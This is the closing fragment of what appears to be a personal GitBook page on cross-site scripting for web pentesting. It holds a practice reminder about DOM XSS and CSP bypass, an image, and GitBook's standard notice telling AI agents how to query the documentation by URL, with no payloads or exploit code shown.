> ⚠️ **Focus Areas to Strengthen:** DOM XSS, CSP Bypass — keep practicing these two.

<figure><img src="/files/0XhIRBdxuhFDyh76Udvc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/web-application-pentesting/all-about-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
